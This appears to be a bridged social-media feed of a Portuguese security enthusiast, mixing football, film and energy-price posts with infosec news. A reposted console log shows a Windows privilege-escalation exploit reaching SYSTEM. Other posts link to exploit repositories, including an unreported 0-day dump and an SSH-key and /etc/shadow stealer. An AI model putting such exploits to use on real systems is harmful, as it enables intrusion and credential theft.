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Carlos Mogas da Silva

@r3pek.mastodon.r3pek.org.ap.brid.gy
8 followers 1 following 180 posts

🌉 bridged from ⁂ mastodon.r3pek.org/@r3pek, follow @ap.brid.gy to interact

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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/09/2026
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/09/2026
I'm going! #avengers #doomsday
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/09/2026
Cheira-me que o #CR7 vem de pé no avião, pois não gosta de estar no banco. via Alberto Vasconcelos no Facebook
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/09/2026
Olha... Fez birrinha... Os meus putos tb faziam, até aos 10 anos, mas depois passou-lhes. 🤦
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 13/09/2026
I'm going!! #Avengers
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 08/09/2026
Petição Pública: Pela Modernização da Medição em UPAC - Revisão do DL n.º 15/2022 e do Regulamento do Autoconsumo peticaopublica.com/?pi=PT132662
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 31/08/2026
o gajo da EDP que emite faturas foi de férias? 🤔
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 12/08/2026
#pechincha #eclipse2026 #olx
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Reposted by Carlos Mogas da Silva
Will Dormann @wdormann.infosec.exchange.ap.brid.gy · 12/08/2026
And right on schedule (after the Patch Tuesday release), we have ShieldBreak from Nightmare Eclipse. Which is reportedly an insufficient fix for RoguePlanet. In my brief testing, Defender needs to be enabled for the exploit to work.
C:\Users\limited\Downloads>ShieldBreak.exe
[+] \??\C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} was created.
[+] Cloud provider has been registered.
[+] Attached cloud provider to C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA}
[+] Placeholder created.
[+] \BaseNamedObjects\Restricted\WD_TARGET_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} object manager directory created
[+] \BaseNamedObjects\Restricted\WD_SHADOW_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} object manager directory created
[+] WD_SCAN <=> \??\C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} object link created
[+] WD_SCAN <=> \CLFS\??\C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA} object link created
[+] Cloud provider callback success.
[+] Cloud provider callback success.
[+] Created \??\C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA}\BERLIN
[+] Copied C:\Windows\System32\ntdll.dll => C:\ShieldBreak_{648C89BD-2425-4F73-AD60-1BD2D6263BFA}\BERLIN:stream
[*] Scan initiated for \\.\globalroot\BaseNamedObjects\Restricted\WD_SHADOW_{648C89BD-2425-4F73-AD60-1BD2D6263BFA}\WD_SCAN\BERLIN
[*] Please wait...
[+] Link deleted.
[+] CLFS log locked.
[+] Cloud provider callback success.
[+] Cloud provider callback success.
[+] \??\C:\Windows\System32\phoneinfo.dll:stream file locked.
[*] Attempting to spawn shell...
[+] Exploit succeeded.


In new cmd.exe:
C:\Windows\System32>whoami
nt authority\system
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 04/08/2026
yep.... #ecotech #mobius working on #homeassistant. #reef #aquarium
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 29/07/2026
See you all @bsideslisbon 😉 #BSidesLisbon
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 28/07/2026
RE: infosec.exchange/@bontchev/11699754… Best petition ever 👏
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Reposted by Carlos Mogas da Silva
bontchev.infosec.exchange.ap.brid.gy @bontchev.infosec.exchange.ap.brid.gy · 23/07/2026
True.
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 20/07/2026
Best scene of #DoomsDay trailer! Bring it on!!!! 👏 👏 👏 👏 👏
Doomsday trailer scene where Thor meets Captain America and to confirm he is the "true" cap, hands him Mjölnir and Cap pulls it with he's hand.
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 19/07/2026
Cat we get a repeat of yesterday's game? 🙄 😴 😴 #ESPARG
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 18/07/2026
OK, the same guys that DMed the French players on the 1st half, can they now DM the English dudes? This game is nuts! #FRAENG
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 18/07/2026
Can someone DM the French players that the game already started? #FRAENG
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 15/07/2026
Parecia que estava a ver Portugal jogar... Marcaram um e encostaram-se em modo autocarro em frente à baliza. É bem feito. Parabéns à Argentina. #ENGARG
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 06/07/2026
2a parte de merda... 🤷‍♂️ #PORESP
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 06/07/2026
Bem... Devo dizer que estou admirado. A jogar bem 👌 algumas falhas defensivas, mas positivo no geral. Vamos lá ver como corre na 2a parte. #PORESP
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Reposted by Carlos Mogas da Silva
Manuel Reis @manuelreis.bsky.social · 03/07/2026
Portugal x Espanha, segunda-feira, às 20:00, na RTP1, Live Mode TV (YouTube) e Sport TV 1, em direto do Jerry World! (E com direito às cheerleaders dos Dallas Cowboys? Elas têm estado por lá…)
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 28/06/2026
Voltámos a jogar uma merda... Jogar para empatar. Não conseguimos trocar de treinador a meio do mundial?? #COLPOR
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 27/06/2026
Go grab them while they're hot! Huge dump os 0days apparently github.com/bikini/exploitarium #0day
github.com
GitHub - bikini/exploitarium: A single archive of public exploit PoCs and vulnerability research writeups. At the time I post these, none have been reported. Feel free to report them yourself and take credit for the CVE if handed out lulz
A single archive of public exploit PoCs and vulnerability research writeups. At the time I post these, none have been reported. Feel free to report them yourself and take credit for the CVE if hand...
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 26/06/2026
I was missing these already... #not github.com/sgkdev/packet_edit_meme #pedit #cow #privesc
github.com
GitHub - sgkdev/packet_edit_meme: PACKET_EDIT_MEME.c (aka CVE-2026-46331): yet another page cache poisoning nightmare
PACKET_EDIT_MEME.c (aka CVE-2026-46331): yet another page cache poisoning nightmare - sgkdev/packet_edit_meme
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 23/06/2026
Bastante melhor prestação nesta primeira parte. Tirando ali 5 ou 6 minutos, com o golo anulado, de resto estivemos bem. Bora mais 45! 💪 #PORUZB
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 23/06/2026
#PORUZB
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 17/06/2026
Que jogo de merda....
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 26/05/2026
annnnnd #NightmareEclipse's gitlab account was just banned. what was that? 2 days?
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 25/05/2026
Quem foi o estagiário que tropeçou no cabo da #MEO?
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Reposted by Carlos Mogas da Silva
Will Dormann @wdormann.infosec.exchange.ap.brid.gy · 19/05/2026
There's another LInux LPE (of course): pintheft > Sadly, the RDS kernel module this requires is only default on Arch Linux among the common distributions we tested. CVE unknown.
pintheft success on Arch VM
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Reposted by Carlos Mogas da Silva
Will Dormann @wdormann.infosec.exchange.ap.brid.gy · 17/05/2026
There's apparently another Linux LPE. DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. I suspect it may be CVE-2026-31635. I have not been able to get it to actually work on **any** Linux distro that I've tried.
PoC failure on Debian 13PoC failure on Ubuntu 24.04PoC failure on RHEL 10.1PoC failure on Ubuntu 26.04
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 15/05/2026
And because one or two #LPEs per week is not enough, here's your daily dose of #Linux #LPE. This one goes back to at least kernel 5.10. No real mitigations to apply this time. github.com/0xdeadbeefnetwork/ssh-ke…
github.com
GitHub - 0xdeadbeefnetwork/ssh-keysign-pwn: Steal SSH host private keys and /etc/shadow via the ptrace_may_access mm-NULL bypass + pidfd_getfd. Pre-31e62c2ebbfd kernels.
Steal SSH host private keys and /etc/shadow via the ptrace_may_access mm-NULL bypass + pidfd_getfd. Pre-31e62c2ebbfd kernels. - 0xdeadbeefnetwork/ssh-keysign-pwn
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 14/05/2026
Keep calm that they keep on coming... Better fire up you mitigations because this is probably going to take a while to patch fully. lore.kernel.org/netdev/agVpIsaSherj… #fragnesia #linux #lpe
lore.kernel.org
Re: [PATCH net v2] net: skbuff: propagate shared-frag marker through frag-transfer helpers - Sultan Alsawaf
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 13/05/2026
And another... www.phoronix.com/news/Linux-Fragnes… #linux #lpe #fragnesia
phoronix.com
Fragnesia Made Public As Latest Linux Local Privilege Escalation Vulnerability
Following last week's disclosure of the Dirty Frag vulnerability for the Linux kernel, which only finished being patched up in mainline on Monday, Fragnesia is now public as a similar local privilege escalation (LPE) vulnerability...
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 09/05/2026
Damn man... what a box! Really nice experience 💪 #htb #HackTheBox
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Reposted by Carlos Mogas da Silva
Will Dormann @wdormann.infosec.exchange.ap.brid.gy · 07/05/2026
Did you like CopyFail, but were annoyed that it didn't work on distros with somewhat up-to-date kernels, like Ubuntu 26.04? Don't worry. Dirty Frag has got your back! From the advisory: > Because the responsible disclosure schedule and embargo have been […] [Original post on infosec.exchange]
Successful Dirty Frag exploit on Ubuntu 26.04
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 04/05/2026
#HTB #HackTheBox #Silentium
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 04/05/2026
#HTB #HackTheBox #Logging
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 30/04/2026
The actualy #copyfail techical writeup: xint.io/blog/copy-fail-linux-distri…
xint.io
Copy Fail: 732 Bytes to Root on Every Major Linux Distributions - Xint
Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Security, Vulnerability Research
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Reposted by Carlos Mogas da Silva
kcxt! @cas.treehouse.systems.ap.brid.gy · 29/04/2026
lol, lmao?? this AI generated website makes me wanna headbutt a wall but the CVE seems real(?), update your kernels folks copy.fail/#exploit the part that really grinds my gears is why is the poc written in the most disgusting possible python syntax?? are we optimising for size here?
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 28/04/2026
RE: infosec.exchange/@SecureOwl/1164047… Just read the thread... I'm astonished by the amount of stupidity in the world 🤦‍♂️
infosec.exchange
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 25/04/2026
New rankings on #HTB.... guess what? 😅
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 23/04/2026
And because one compromise never comes alone... Here's another... opensourcemalware.com/npm/@bitwarde… #npm #malware #infostealer
opensourcemalware.com
OpenSourceMalware.com - Community Threat Intelligence
Security professionals sharing intelligence on malicious packages, repositories, and CDNs to protect the open source ecosystem.
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 13/04/2026
www.r3pek.org/how-i-got-my-oscp
r3pek.org
How I got my OSCP
I did the exam on April 7th and captured all the flags achieving 100 points in 13h (10h30m if I discount the breaks).
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 09/04/2026
🎯 Passed the OSCP+! After a lot of late nights, practice labs, and more failed shells than I'd like to admit — I finally have the cert in hand. Some words for the family: Thank you — the late nights would have been much harder without your patience and understanding. On to the next one. 🔐 🤐 🙈 […]
mastodon.r3pek.org
Original post on mastodon.r3pek.org
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 06/04/2026
AWESOME!!! #artemis #artemisii #nasa
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 01/04/2026
#Artemis is a GO!!! 🎉 🎉 #NASA #ArtemisII
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Reposted by Carlos Mogas da Silva
Stefan Bohacek @fediverse.stefanbohacek.online · 16/03/2026
Mastodon is ten years old today! mastodon.social/@Gargron/1 github.com/mastodon/mastodon/releas… stefanbohacek.online/@stefan/110985… #mastodon #anniversary #fediverse #Mastodon10 Years #DecadeOfMastodon
A screenshot of a post from Eugen Rochko (@gargron), the creator of Mastodon. The post is from March 16, 2016, 10:44, and it says: "Hello world".
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 09/03/2026
Já chegou a dolorosa. Gasóleo mais caro que a Gasolina... #combustiveis #precocombusteiveis
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Carlos Mogas da Silva @r3pek.mastodon.r3pek.org.ap.brid.gy · 02/03/2026
50% de poupança na troca de tarifa fixa para tarifa indexada (da eletricidade). Já ganhei o mês. #OMIE
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